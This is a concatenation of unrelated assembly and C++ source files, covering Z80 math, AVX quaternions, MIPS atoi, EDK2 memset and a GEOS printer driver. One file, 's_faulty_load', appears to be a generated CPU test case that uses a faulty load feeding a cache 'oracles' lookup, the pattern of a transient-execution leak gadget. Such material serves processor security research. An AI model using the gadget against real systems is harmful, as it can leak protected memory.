EXTERN ____sdcc_4_copy_src_mhl_dst_mbc
EXTERN ____sdcc_4_ldi_nosave_bc
EXTERN ____sdcc_4_ldi_save_bc
EXTERN ____sdcc_4_push_hlix
EXTERN ____sdcc_4_push_mhl
EXTERN ____sdcc_lib_setmem_hl
EXTERN ____sdcc_ll_add_de_bc_hl
EXTERN ____sdcc_ll_add_de_bc_hlix
EXTERN ____sdcc_ll_add_de_hlix_bc
EXTERN ____sdcc_ll_add_de_hlix_bcix
EXTERN ____sdcc_ll_add_deix_bc_hl
EXTERN ____sdcc_ll_add_deix_hlix
EXTERN ____sdcc_ll_add_hlix_bc_deix
EXTERN ____sdcc_ll_add_hlix_deix_bc
EXTERN ____sdcc_ll_add_hlix_deix_bcix
EXTERN ____sdcc_ll_asr_hlix_a
EXTERN ____sdcc_ll_asr_mbc_a
EXTERN ____sdcc_ll_copy_src_de_dst_hlix
EXTERN ____sdcc_ll_copy_src_de_dst_hlsp
EXTERN ____sdcc_ll_copy_src_deix_dst_hl
EXTERN ____sdcc_ll_copy_src_deix_dst_hlix
EXTERN ____sdcc_ll_copy_src_deixm_dst_hlsp
EXTERN ____sdcc_ll_copy_src_desp_dst_hlsp
EXTERN ____sdcc_ll_copy_src_hl_dst_de
EXTERN ____sdcc_ll_copy_src_hlsp_dst_de
EXTERN ____sdcc_ll_copy_src_hlsp_dst_deixm
EXTERN ____sdcc_ll_lsl_hlix_a
EXTERN ____sdcc_ll_lsl_mbc_a
EXTERN ____sdcc_ll_lsr_hlix_a
EXTERN ____sdcc_ll_lsr_mbc_a
EXTERN ____sdcc_ll_push_hlix
EXTERN ____sdcc_ll_push_mhl
EXTERN ____sdcc_ll_sub_de_bc_hl
EXTERN ____sdcc_ll_sub_de_bc_hlix
EXTERN ____sdcc_ll_sub_de_hlix_bc
EXTERN ____sdcc_ll_sub_de_hlix_bcix
EXTERN ____sdcc_ll_sub_deix_bc_hl
EXTERN ____sdcc_ll_sub_deix_hlix
EXTERN ____sdcc_ll_sub_hlix_bc_deix
EXTERN ____sdcc_ll_sub_hlix_deix_bc
EXTERN ____sdcc_ll_sub_hlix_deix_bcix
EXTERN ____sdcc_load_debc_deix
EXTERN ____sdcc_load_dehl_deix
EXTERN ____sdcc_load_debc_mhl
EXTERN ____sdcc_load_hlde_mhl
EXTERN ____sdcc_store_dehl_bcix
EXTERN ____sdcc_store_debc_hlix
EXTERN ____sdcc_store_debc_mhl
EXTERN ____sdcc_cpu_pop_ei
EXTERN ____sdcc_cpu_pop_ei_jp
EXTERN ____sdcc_cpu_push_di
EXTERN ____sdcc_outi
EXTERN ____sdcc_outi_128
EXTERN ____sdcc_outi_256
EXTERN ____sdcc_ldi
EXTERN ____sdcc_ldi_128
EXTERN ____sdcc_ldi_256
EXTERN ____sdcc_4_copy_srcd_hlix_dst_deix
EXTERN ____sdcc_4_and_src_mbc_mhl_dst_deix
EXTERN ____sdcc_4_or_src_mbc_mhl_dst_deix
EXTERN ____sdcc_4_xor_src_mbc_mhl_dst_deix
EXTERN ____sdcc_4_or_src_dehl_dst_bcix
EXTERN ____sdcc_4_xor_src_dehl_dst_bcix
EXTERN ____sdcc_4_and_src_dehl_dst_bcix
EXTERN ____sdcc_4_xor_src_mbc_mhl_dst_debc
EXTERN ____sdcc_4_or_src_mbc_mhl_dst_debc
EXTERN ____sdcc_4_and_src_mbc_mhl_dst_debc
EXTERN ____sdcc_4_cpl_src_mhl_dst_debc
EXTERN ____sdcc_4_xor_src_debc_mhl_dst_debc
EXTERN ____sdcc_4_or_src_debc_mhl_dst_debc
EXTERN ____sdcc_4_and_src_debc_mhl_dst_debc
EXTERN ____sdcc_4_and_src_debc_hlix_dst_debc
EXTERN ____sdcc_4_or_src_debc_hlix_dst_debc
EXTERN ____sdcc_4_xor_src_debc_hlix_dst_debc
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
GLOBAL _m32_log10f
;--------------------------------------------------------
; Externals used
;--------------------------------------------------------
GLOBAL _m32_polyf
GLOBAL _m32_hypotf
GLOBAL _m32_ldexpf
GLOBAL _m32_frexpf
GLOBAL _m32_invsqrtf
GLOBAL _m32_sqrtf
GLOBAL _m32_invf
GLOBAL _m32_sqrf
GLOBAL _m32_div2f
GLOBAL _m32_mul2f
GLOBAL _m32_modff
GLOBAL _m32_fmodf
GLOBAL _m32_roundf
GLOBAL _m32_floorf
GLOBAL _m32_fabsf
GLOBAL _m32_ceilf
GLOBAL _m32_powf
GLOBAL _m32_log2f
GLOBAL _m32_logf
GLOBAL _m32_exp10f
GLOBAL _m32_exp2f
GLOBAL _m32_expf
GLOBAL _m32_atanhf
GLOBAL _m32_acoshf
GLOBAL _m32_asinhf
GLOBAL _m32_tanhf
GLOBAL _m32_coshf
GLOBAL _m32_sinhf
GLOBAL _m32_atan2f
GLOBAL _m32_atanf
GLOBAL _m32_acosf
GLOBAL _m32_asinf
GLOBAL _m32_tanf
GLOBAL _m32_cosf
GLOBAL _m32_sinf
GLOBAL _poly_callee
GLOBAL _poly
GLOBAL _exp10_fastcall
GLOBAL _exp10
GLOBAL _mul10u_fastcall
GLOBAL _mul10u
GLOBAL _mul2_fastcall
GLOBAL _mul2
GLOBAL _div2_fastcall
GLOBAL _div2
GLOBAL _invsqrt_fastcall
GLOBAL _invsqrt
GLOBAL _inv_fastcall
GLOBAL _inv
GLOBAL _sqr_fastcall
GLOBAL _sqr
GLOBAL _isunordered_callee
GLOBAL _isunordered
GLOBAL _islessgreater_callee
GLOBAL _islessgreater
GLOBAL _islessequal_callee
GLOBAL _islessequal
GLOBAL _isless_callee
GLOBAL _isless
GLOBAL _isgreaterequal_callee
GLOBAL _isgreaterequal
GLOBAL _isgreater_callee
GLOBAL _isgreater
GLOBAL _fma_callee
GLOBAL _fma
GLOBAL _fmin_callee
GLOBAL _fmin
GLOBAL _fmax_callee
GLOBAL _fmax
GLOBAL _fdim_callee
GLOBAL _fdim
GLOBAL _nexttoward_callee
GLOBAL _nexttoward
GLOBAL _nextafter_callee
GLOBAL _nextafter
GLOBAL _nan_fastcall
GLOBAL _nan
GLOBAL _copysign_callee
GLOBAL _copysign
GLOBAL _remquo_callee
GLOBAL _remquo
GLOBAL _remainder_callee
GLOBAL _remainder
GLOBAL _fmod_callee
GLOBAL _fmod
GLOBAL _modf_callee
GLOBAL _modf
GLOBAL _trunc_fastcall
GLOBAL _trunc
GLOBAL _lround_fastcall
GLOBAL _lround
GLOBAL _round_fastcall
GLOBAL _round
GLOBAL _lrint_fastcall
GLOBAL _lrint
GLOBAL _rint_fastcall
GLOBAL _rint
GLOBAL _nearbyint_fastcall
GLOBAL _nearbyint
GLOBAL _floor_fastcall
GLOBAL _floor
GLOBAL _ceil_fastcall
GLOBAL _ceil
GLOBAL _tgamma_fastcall
GLOBAL _tgamma
GLOBAL _lgamma_fastcall
GLOBAL _lgamma
GLOBAL _erfc_fastcall
GLOBAL _erfc
GLOBAL _erf_fastcall
GLOBAL _erf
GLOBAL _cbrt_fastcall
GLOBAL _cbrt
GLOBAL _sqrt_fastcall
GLOBAL _sqrt
GLOBAL _pow_callee
GLOBAL _pow
GLOBAL _hypot_callee
GLOBAL _hypot
GLOBAL _fabs_fastcall
GLOBAL _fabs
GLOBAL _logb_fastcall
GLOBAL _logb
GLOBAL _log2_fastcall
GLOBAL _log2
GLOBAL _log1p_fastcall
GLOBAL _log1p
GLOBAL _log10_fastcall
GLOBAL _log10
GLOBAL _log_fastcall
GLOBAL _log
GLOBAL _scalbln_callee
GLOBAL _scalbln
GLOBAL _scalbn_callee
GLOBAL _scalbn
GLOBAL _ldexp_callee
GLOBAL _ldexp
GLOBAL _ilogb_fastcall
GLOBAL _ilogb
GLOBAL _frexp_callee
GLOBAL _frexp
GLOBAL _expm1_fastcall
GLOBAL _expm1
GLOBAL _exp2_fastcall
GLOBAL _exp2
GLOBAL _exp_fastcall
GLOBAL _exp
GLOBAL _tanh_fastcall
GLOBAL _tanh
GLOBAL _sinh_fastcall
GLOBAL _sinh
GLOBAL _cosh_fastcall
GLOBAL _cosh
GLOBAL _atanh_fastcall
GLOBAL _atanh
GLOBAL _asinh_fastcall
GLOBAL _asinh
GLOBAL _acosh_fastcall
GLOBAL _acosh
GLOBAL _tan_fastcall
GLOBAL _tan
GLOBAL _sin_fastcall
GLOBAL _sin
GLOBAL _cos_fastcall
GLOBAL _cos
GLOBAL _atan2_callee
GLOBAL _atan2
GLOBAL _atan_fastcall
GLOBAL _atan
GLOBAL _asin_fastcall
GLOBAL _asin
GLOBAL _acos_fastcall
GLOBAL _acos
GLOBAL _m32_coeff_logf
;--------------------------------------------------------
; special function registers
;--------------------------------------------------------
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
SECTION bss_compiler
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
IF 0
; .area _INITIALIZED removed by z88dk
ENDIF
;--------------------------------------------------------
; absolute external ram data
;--------------------------------------------------------
SECTION IGNORE
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
SECTION code_crt_init
;--------------------------------------------------------
; Home
;--------------------------------------------------------
SECTION IGNORE
;--------------------------------------------------------
; code
;--------------------------------------------------------
SECTION code_compiler
; ---------------------------------
; Function m32_log10f
; ---------------------------------
_m32_log10f:
push ix
ld ix,0
add ix,sp
ld c, l
ld b, h
ld hl, -14
add hl, sp
ld sp, hl
ld (ix-10),c
ld (ix-9),b
ld (ix-8),e
ld l, e
ld (ix-7),d
ld h,d
push hl
ld l,(ix-10)
ld h,(ix-9)
push hl
ld hl,0x0000
push hl
push hl
call ___fslt_callee
bit 0,l
jr NZ,l_m32_log10f_00102
ld de,0xff00
ld hl,0x0000
jp l_m32_log10f_00106
l_m32_log10f_00102:
ld hl,12
add hl, sp
push hl
ld l,(ix-8)
ld h,(ix-7)
push hl
ld l,(ix-10)
ld h,(ix-9)
push hl
call _m32_frexpf
push hl
ld c,l
ld b,h
push de
ld hl,0x3f35
push hl
ld hl,0x04f3
push hl
push de
push bc
call ___fslt_callee
ld (ix-7),l
pop de
pop bc
ld a,(ix-7)
or a, a
jr Z,l_m32_log10f_00104
ld l,(ix-2)
ld h,(ix-1)
dec hl
ld (ix-2),l
ld (ix-1),h
ld l, c
ld h, b
call _m32_mul2f
ld bc,0x3f80
push bc
ld bc,0x0000
push bc
push de
push hl
call ___fssub_callee
ld (ix-6),l
ld (ix-5),h
ld (ix-4),e
ld (ix-3),d
jr l_m32_log10f_00105
l_m32_log10f_00104:
ld hl,0x3f80
push hl
ld hl,0x0000
push hl
push de
push bc
call ___fssub_callee
ld (ix-6),l
ld (ix-5),h
ld (ix-4),e
ld (ix-3),d
l_m32_log10f_00105:
ld l,(ix-6)
ld h,(ix-5)
ld e,(ix-4)
ld d,(ix-3)
call _m32_sqrf
ex (sp), hl
ld (ix-12),e
ld (ix-11),d
ld hl,0x0009
push hl
ld hl,_m32_coeff_logf
push hl
ld l,(ix-4)
ld h,(ix-3)
push hl
ld l,(ix-6)
ld h,(ix-5)
push hl
call _m32_polyf
ld c,(ix-12)
ld b,(ix-11)
push bc
ld c,(ix-14)
ld b,(ix-13)
push bc
push de
push hl
call ___fsmul_callee
ld (ix-10),l
ld (ix-9),h
ld (ix-8),e
ld (ix-7),d
pop hl
push hl
ld e,(ix-12)
ld d,(ix-11)
call _m32_div2f
push de
push hl
ld l,(ix-8)
ld h,(ix-7)
push hl
ld l,(ix-10)
ld h,(ix-9)
push hl
call ___fssub_callee
ex (sp), hl
ld (ix-12),e
ld (ix-11),d
pop de
pop hl
push hl
push de
ex de,hl
pop hl
push hl
push de
push hl
ld l,(ix-4)
ld h,(ix-3)
push hl
ld l,(ix-6)
ld h,(ix-5)
push hl
call ___fsadd_callee
push de
push hl
ld hl,0x3a37
push hl
ld hl,0xb152
push hl
call ___fsmul_callee
ld (ix-10),l
ld (ix-9),h
ld (ix-8),e
ld (ix-7),d
pop de
pop hl
push hl
push de
ex de,hl
pop hl
push hl
push de
push hl
ld hl,0x3ede
push hl
ld hl,0x0000
push hl
call ___fsmul_callee
push de
push hl
ld l,(ix-8)
ld h,(ix-7)
push hl
ld l,(ix-10)
ld h,(ix-9)
push hl
call ___fsadd_callee
ld (ix-10),l
ld (ix-9),h
ld (ix-8),e
ld (ix-7),d
ld l,(ix-4)
ld h,(ix-3)
push hl
ld l,(ix-6)
ld h,(ix-5)
push hl
ld hl,0x3ede
push hl
ld hl,0x0000
push hl
call ___fsmul_callee
push de
push hl
ld l,(ix-8)
ld h,(ix-7)
push hl
ld l,(ix-10)
ld h,(ix-9)
push hl
call ___fsadd_callee
ld (ix-10),l
ld (ix-9),h
ld (ix-8),e
ld (ix-7),d
ld l,(ix-2)
ld h,(ix-1)
push hl
call ___sint2fs_callee
ex (sp), hl
ld (ix-12),e
ld (ix-11),d
pop de
pop hl
push hl
push de
ex de,hl
pop hl
push hl
push de
push hl
ld hl,0x3982
push hl
ld hl,0x6a14
push hl
call ___fsmul_callee
push de
push hl
ld l,(ix-8)
ld h,(ix-7)
push hl
ld l,(ix-10)
ld h,(ix-9)
push hl
call ___fsadd_callee
ld (ix-10),l
ld (ix-9),h
ld (ix-8),e
ld (ix-7),d
pop de
pop hl
push hl
push de
ex de,hl
pop hl
push hl
push de
push hl
ld hl,0x3e9a
push hl
ld hl,0x0000
push hl
call ___fsmul_callee
push de
push hl
ld l,(ix-8)
ld h,(ix-7)
push hl
ld l,(ix-10)
ld h,(ix-9)
push hl
call ___fsadd_callee
l_m32_log10f_00106:
ld sp, ix
pop ix
ret
SECTION IGNORE
|
#include "../../TensorShaderAvxBackend.h"
using namespace System;
__forceinline __m256d _mm256_trivectormul_pd(__m256d v, __m256d q) {
const __m256d sign_pmm = _mm256_castsi256_pd(_mm256_setr_epi64x(0, 0x8000000000000000ull, 0x8000000000000000ull, 0));
const __m256d sign_mpm = _mm256_castsi256_pd(_mm256_setr_epi64x(0x8000000000000000ull, 0, 0x8000000000000000ull, 0));
const __m256d sign_mmp = _mm256_castsi256_pd(_mm256_setr_epi64x(0x8000000000000000ull, 0x8000000000000000ull, 0, 0));
__m256d s = _mm256_mul_pd(q, q);
__m256d sx = _mm256_permute4x64_pd(s, _MM_PERM_AAAA);
__m256d sy = _mm256_xor_pd(sign_pmm, _mm256_permute4x64_pd(s, _MM_PERM_BBBB));
__m256d sz = _mm256_xor_pd(sign_mpm, _mm256_permute4x64_pd(s, _MM_PERM_CCCC));
__m256d sw = _mm256_xor_pd(sign_mmp, _mm256_permute4x64_pd(s, _MM_PERM_DDDD));
__m256d ss = _mm256_add_pd(_mm256_add_pd(sx, sy), _mm256_add_pd(sz, sw));
__m256d q_yzw = _mm256_permute4x64_pd(q, _MM_PERM_ADCB), q_zwy = _mm256_permute4x64_pd(q, _MM_PERM_ABDC), q_xxx = _mm256_permute4x64_pd(q, _MM_PERM_AAAA);
__m256d v_xyz = v, v_yzx = _mm256_permute4x64_pd(v, _MM_PERM_DACB), v_zxy = _mm256_permute4x64_pd(v, _MM_PERM_DBAC);
__m256d m_xyz = _mm256_mul_pd(q_yzw, q_zwy), m_zxy = _mm256_permute4x64_pd(m_xyz, _MM_PERM_DBAC);
__m256d n_xyz = _mm256_mul_pd(q_xxx, q_yzw), n_zxy = _mm256_permute4x64_pd(n_xyz, _MM_PERM_DBAC), n_yzx = _mm256_permute4x64_pd(n_xyz, _MM_PERM_DACB);
__m256d vmmn = _mm256_mul_pd(v_yzx, _mm256_sub_pd(m_xyz, n_zxy));
__m256d vpmn = _mm256_mul_pd(v_zxy, _mm256_add_pd(m_zxy, n_yzx));
__m256d vmn = _mm256_add_pd(vmmn, vpmn);
__m256d vmnx2 = _mm256_add_pd(vmn, vmn);
__m256d u = _mm256_fmadd_pd(v_xyz, ss, vmnx2);
return u;
}
void trivector_mul(unsigned int length, float* v_ptr, float* q_ptr, float* u_ptr) {
const __m128i mask3 = TensorShaderAvxBackend::masktable_m128(3);
for (unsigned int i = 0, j = 0; i < length; i += 3, j += 4) {
__m256d v = _mm256_cvtps_pd(_mm_maskload_ps(v_ptr + i, mask3));
__m256d q = _mm256_cvtps_pd(_mm_load_ps(q_ptr + j));
__m128 u = _mm256_cvtpd_ps(_mm256_trivectormul_pd(v, q));
_mm_maskstore_ps(u_ptr + i, mask3, u);
}
}
void TensorShaderAvxBackend::Trivector::Mul(unsigned int vectorlength, AvxArray<float>^ src_vector, AvxArray<float>^ src_quaternion, AvxArray<float>^ dst_vector) {
Util::CheckDuplicateArray(src_vector, src_quaternion, dst_vector);
if (vectorlength % 3 != 0) {
throw gcnew System::ArgumentException();
}
unsigned int quaternionlength = vectorlength / 3 * 4;
Util::CheckLength(vectorlength, src_vector, dst_vector);
Util::CheckLength(quaternionlength, src_quaternion);
float* v_ptr = (float*)(src_vector->Ptr.ToPointer());
float* q_ptr = (float*)(src_quaternion->Ptr.ToPointer());
float* u_ptr = (float*)(dst_vector->Ptr.ToPointer());
trivector_mul(vectorlength, v_ptr, q_ptr, u_ptr);
} |
.data
string: .asciiz "2016 e 2020 sao anos bissextos"
.eqv print_int10, 1
.text
.globl main
main:
subiu $sp, $sp, 4
sw $ra, ($sp)
la $a0, string
jal atoi
move $a0, $v0
li $v0, print_int10
syscall
lw $ra, ($sp)
addiu $sp, $sp, 4
jr $ra
###################################################################################################
# ascii to integer
# unsigned int atoi(char *s)
# $so -> pointer
# $s1 -> digit
# $s2 -> res
# $t0 -> char
atoi:
subiu $sp, $sp, 16
sw $ra, ($sp)
sw $s0, 4($sp)
sw $s1, 8($sp)
sw $s2, 12($sp)
move $s0, $a0 # pointer = *s
li $s2, 0 # res = 0
while:
lb $t0, ($s0) # $t0 = *s
blt $t0, '0', endatoi
bgt $t0, '9', endatoi
sub $s1, $t0, '0' # $s1 = *s - '0'
mul $s2, $s2, 10 # $s2 = $s2 * 10
addu $s2, $s2, $s1 # $s2 = $s2 * 10 + $s1
addiu $s0, $s0, 1 # *s++
j while
endatoi:
move $v0, $s2
lw $ra, ($sp)
lw $s0, 4($sp)
lw $s1, 8($sp)
lw $s2, 12($sp)
addiu $sp, $sp, 16
jr $ra |
; A047609: Numbers that are congruent to {0, 4, 5} mod 8.
; 0,4,5,8,12,13,16,20,21,24,28,29,32,36,37,40,44,45,48,52,53,56,60,61,64,68,69,72,76,77,80,84,85,88,92,93,96,100,101,104,108,109,112,116,117,120,124,125,128,132,133,136,140,141,144,148,149,152,156,157
mov $3,$0
mul $0,2
mov $2,$0
trn $2,1
mov $0,$2
mov $1,1
lpb $0,1
trn $0,3
add $1,5
lpe
div $1,2
add $1,$3
|
.constant_pool
.const 0 string [start]
.const 1 string [constructor]
.const 2 string [result1]
.const 3 string [result2]
.const 4 string [e]
.const 5 string [elemento]
.const 6 string [x]
.const 7 string [result1: ]
.const 8 int [2]
.const 9 string [io.writeln]
.const 10 string [result2: ]
.const 11 string [oi 1]
.const 12 string [oi 2]
.end
.entity start
.valid_context_when (always)
.method constructor
.var 0 string result1
.var 1 string result2
.var 2 element e
newelem 5 --> [elemento]
stvar 2 --> [e]
ldvar 2 --> [e]
mcall 6 --> [x]
stvar 0 --> [result1]
stvar 1 --> [result2]
ldconst 7 --> [result1: ]
ldvar 0 --> [result1]
ldconst 8 --> [2]
lcall 9 --> [io.writeln]
ldconst 10 --> [result2: ]
ldvar 1 --> [result2]
ldconst 8 --> [2]
lcall 9 --> [io.writeln]
exit
.end
.end
.entity elemento
.valid_context_when (always)
.method x
.result 0 string
.result 1 string
ldconst 11 --> [oi 1]
stresult 0
ldconst 12 --> [oi 2]
stresult 1
ret
.end
.end
|
#include "IronFenceBlock.h"
#include "blocks/Blocks.h"
#include "mcpe/client/resources/I18n.h"
IronFenceBlock::IronFenceBlock():FenceBlock("fence.iron",IC::Blocks::ID::mIronFence,Material::getMaterial(MaterialType::METAL))
{
init();
setCategory(CreativeItemCategory::DECORATIONS);
setSolid(false);
setDestroyTime(3);
setExplodeable(10);
}
std::string IronFenceBlock::buildDescriptionName(unsigned char) const
{
return I18n::get("fence.iron");
}
|
;
; $Id: 0x00.asm,v 1.1.1.1 2016/03/27 08:40:12 raptor Exp $
;
; 0x00 explanation - from xchg rax,rax by xorpd@xorpd.net
; Copyright (c) 2016 Marco Ivaldi <raptor@0xdeadbeef.info>
;
; This is the snippet #0: it sets registers to 0 in different ways.
;
; Example:
; uncomment the added lines
; $ nasm -f elf64 0x00.asm
; $ gcc 0x00.o -o 0x00
; $ gdb 0x00
; (gdb) b debug
; (gdb) r
; (gdb) i r
; rax 0x0 0
; rbx 0x0 0
; rcx 0x0 0
; rdx 0x0 0
; rsi 0x0 0
; rdi 0x0 0
; rbp 0x0 0x0
; [...]
;
BITS 64
SECTION .text
global main
main:
xor eax,eax ; set rax to 0 by xor'ing it with itself
lea rbx,[0] ; set rbx to 0 by loading the value 0 into it
;mov ecx,10 ; added to make the following loop faster
loop $ ; set rcx to 0 by decrementing it via loop
mov rdx,0 ; set rdx to 0 using the mov instruction
and esi,0 ; set rsi to 0 by and'ing it with 0
sub edi,edi ; set rdi to 0 by subtracting its current value
push 0
pop rbp ; set rbp to 0 using push and pop instructions
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; SetMem16.Asm
;
; Abstract:
;
; SetMem16 function
;
; Notes:
;
;------------------------------------------------------------------------------
.code
;------------------------------------------------------------------------------
; VOID *
; EFIAPI
; InternalMemSetMem16 (
; IN VOID *Buffer,
; IN UINTN Count,
; IN UINT16 Value
; )
;------------------------------------------------------------------------------
InternalMemSetMem16 PROC USES rdi
push rcx
mov rdi, rcx
mov rax, r8
xchg rcx, rdx
rep stosw
pop rax
ret
InternalMemSetMem16 ENDP
END
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r9
push %rax
push %rbp
push %rbx
push %rcx
// Store
lea addresses_normal+0x145d9, %r13
nop
nop
nop
and %rbp, %rbp
movw $0x5152, (%r13)
nop
nop
nop
dec %rax
// Store
lea addresses_WC+0xd4d9, %rcx
nop
nop
nop
nop
nop
cmp %rbx, %rbx
movb $0x51, (%rcx)
nop
nop
nop
xor $34708, %r9
// Store
lea addresses_UC+0x1a189, %r14
clflush (%r14)
nop
cmp %r13, %r13
mov $0x5152535455565758, %rbp
movq %rbp, (%r14)
xor $53083, %rax
// Store
lea addresses_US+0xf559, %rbp
nop
nop
nop
dec %r14
movl $0x51525354, (%rbp)
nop
and %rcx, %rcx
// Faulty Load
lea addresses_WC+0xd4d9, %rax
nop
nop
nop
nop
add $32824, %rbx
movaps (%rax), %xmm2
vpextrq $0, %xmm2, %r14
lea oracles, %rbp
and $0xff, %r14
shlq $12, %r14
mov (%rbp,%r14,1), %r14
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 8, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 5, 'size': 4, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': True, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'51': 21816, '00': 13}
00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
*/
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: common routines for the print driver
FILE: rotate2pass24.asm
AUTHOR: Dave Durran
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 2/28/92 Initial revision
DESCRIPTION:
Group of routines to support the 2 pass 24 bit high for
printers that can not print horizontally adjacent dots on
the same pass.
Bit 7s at the top end of each byte.
APPLICATION:
Epson 24 pin printers 2 pass hi res mode 360 x 180 dpi
epson24.geo
Epson late model 24 pin printers 4 pass hi res mode 360dpi sq.
epshi24.geo
nec24.geo
$Id: rotate2pass24.asm,v 1.1 97/04/18 11:51:12 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrSend24HiresLines
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
Scans to find the live print width of this group of scanlines, and
sends them out, using the even/odd column hi res method for the
Epson LQ type 24 pin printers.
CALLED BY:
Driver Hi res graphics routine.
PASS:
es = segment of PState
RETURN:
newScanNumber adjusted to (interleaveFactor) past the end of buffer.
